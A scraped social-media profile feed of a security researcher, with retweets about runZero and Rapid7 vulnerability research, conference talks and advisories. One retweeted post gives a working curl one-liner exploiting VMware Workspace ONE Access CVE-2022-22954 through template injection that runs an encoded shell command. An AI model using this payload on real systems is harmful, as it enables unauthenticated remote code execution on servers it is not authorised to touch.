Matthew Kienow @HacksForProfit

hacks for fun and profit / software engineer / security researcher PGP: 9DCD 23A2 0181 B684 C21C 0ED2 9903 D880 6069 F788 keybase.io/inokii Joined August 2014

Tweets

794
Followers

470
Following

541
Likes

407

runZero, Inc. @runZeroInc

2 weeks ago

🎥 Missed runZero Hour live? Catch it on demand! We recap Hacker Summer Camp highlights: ✅ @hdmoore on SSH vulns + SSHamble updates ✅ Akheron Proxy w/ @HacksForProfit & @Percent_X ✅ @todb unveils EPSS Pulse ✅ OT protocol insights from Rob King 👉 runzero.com/resources/runz…

0 2 0 1K 1

Download Video

runZero, Inc. @runZeroInc

2 weeks ago

🎙 Hacker Summer Camp recap drops today on runZero Hour! ✅ @hdmoore on SSH vulns + SSHamble ✅ Akheron Proxy w/ @HacksForProfit & @Percent_X ✅ @todb unveils EPSS Pulse ✅ Rob King on OT detection across protocol gateways. 📅 Aug 20 | 10AM PT 🔗 runzero.com/research/runze…

0 1 0 88 0

Download Image

runZero, Inc. @runZeroInc

a month ago

🗣️ Happening today at Black Hat Arsenal! Join @HacksForProfit & @Percent_X at 11am PDT for a live demo of Akheron Proxy, a tool for bridging, capturing, replaying, and manipulating UART inter-chip communications. 📍 Business Hall, Arsenal Station 9 🔗 runzero.com/black-hat-arse…

0 1 0 193 0

Download Image

HD Moore @hdmoore

2 months ago

I'm excited to announce our "Out-of-Band" series; focused on the security risks of management devices like BMCs, serial servers, and KVMs. "Out-of-Band, Part 1: The new generation of IP KVMs and how to find them" is now live at: runzero.com/blog/oob-p1-ip…

2 47 126 14K 66

Download Image

HD Moore @hdmoore

4 months ago

A PSA for why you should probably not use Postman (it can leak secrets to them): anonymousdata.medium.com/postman-is-log…

6 37 103 20K 34

Deral Heiland @Percent_X

9 months ago

I spoke with @robertvamosi on ErrodCode podcast awhile back on "Hacking Cellular-Enabled IoT Devices" We had a fun conversation. The podcast was just published so please check it out - errorcode.podbean.com/e/ep-52-hackin…

0 8 9 1K 6

Stephen Fewer @stephenfewer

10 months ago

We have just published our AttackerKB @rapid7 Analysis for CVE-2024-47575, the recent FortiManager 0day, aka FortiJump 🔥 Read our full technical analysis; detailing firmware decryption, protocol analysis, and unauthenticated RCE 🚀 attackerkb.com/topics/OFBGprm…

7 65 169 39K 65

Caitlin Condon @catc0n

11 months ago

CVE and vendor advisory now available on the #FortiManager 0day that's been knocking around the rumor mill (and evidently some Fortinet customers' email inboxes) for a while. Mitigate immediately, but IOCs need investigating, too. rapid7.com/blog/post/2024…

0 8 16 2K 5

Caitlin Condon @catc0n

a year ago

Rapid7's 2024 Attack Intelligence Report was released today and includes insights from 14 months of vulnerability and exploit analysis, thousands of ransomware incidents, 180+ APT campaigns, and a year+ of Rapid7 incident response findings. rapid7.com/research/repor…

2 56 174 29K 89

Caitlin Condon @catc0n

a year ago

I see "Not all vulnerabilities are created equal" pop up a lot these days in marketing materials for various security companies. We may not have truly been the first to coin that phrase, but AttackerKB's been using it since early 2020! attackerkb.com/about

0 5 11 1K 0

Caitlin Condon @catc0n

a year ago

Full @rapid7 analysis of PAN-OS CVE-2024-3400 now available from @stephenfewer and our stellar new research teammate @ChairNectar! Spoiler: It's a two-vuln exploit chain. attackerkb.com/topics/SSTk336…

3 93 249 91K 83

Marcello @byt3bl33d3r

2 years ago

Really excited to be speaking at @defcon this year! My talk is titled "SpamChannel: Spoofing Emails from +2M Domains and Virtually becoming Satan" Love/hate Email security? Want your phishing campaigns to be a whole lot easier ? you should def come to my talk! 😈 #defcon31

5 31 174 33K 19

Download Image

Matthew Kienow @HacksForProfit

2 years ago

Excellent technical analysis

Caitlin Condon @catc0n

2 years ago

Excellent technical analysis

7 118 245 63K 32

0 0 0 87 0

Caitlin Condon @catc0n

2 years ago

Ahoy! I'm looking for an attack + vulnerability research leader to join @iagox86 and @stephenfewer in driving 0day + n-day research, identifying/developing new attack techniques, and helping set overall research strategy. U.S. ET time zone, job description coming soon. DMs open!

0 23 39 28K 3

Matthew Kienow @HacksForProfit

3 years ago

Advisory for a number of document management system (DMS) vulnerabilities I discovered. #XSS rapid7.com/blog/post/2023…

0 2 2 253 0

Metasploit Project @metasploit

3 years ago

Today is the day! The Metasploit pivoting walkthrough challenge is live on tryhackme.com/christmas. It's free to sign up!

0 16 33 0 2

wvu @wvuuuuuuuuuuuuu

3 years ago

Exploit for VMware Workspace ONE Access CVE-2022-22954: curl -kv https://192.168.0.240/catalog-portal/ui/oauth/verify -H "Host: lol" -Gd error= --data-urlencode 'deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,aWQ7dW5hbWUgLWE=}|{base64,-d})}")}'

9 189 567 0 87

Caitlin Condon @catc0n

3 years ago

Rapid7's vulnerability intelligence report is out today and features analysis from folks like @Junior_Baines, @zeroSteiner, @tychos_moose and a bunch of the @metasploit team. We tracked hundreds of data points across 50 high-impact vulns. Key points: (1/n) rapid7.com/info/2021-vuln…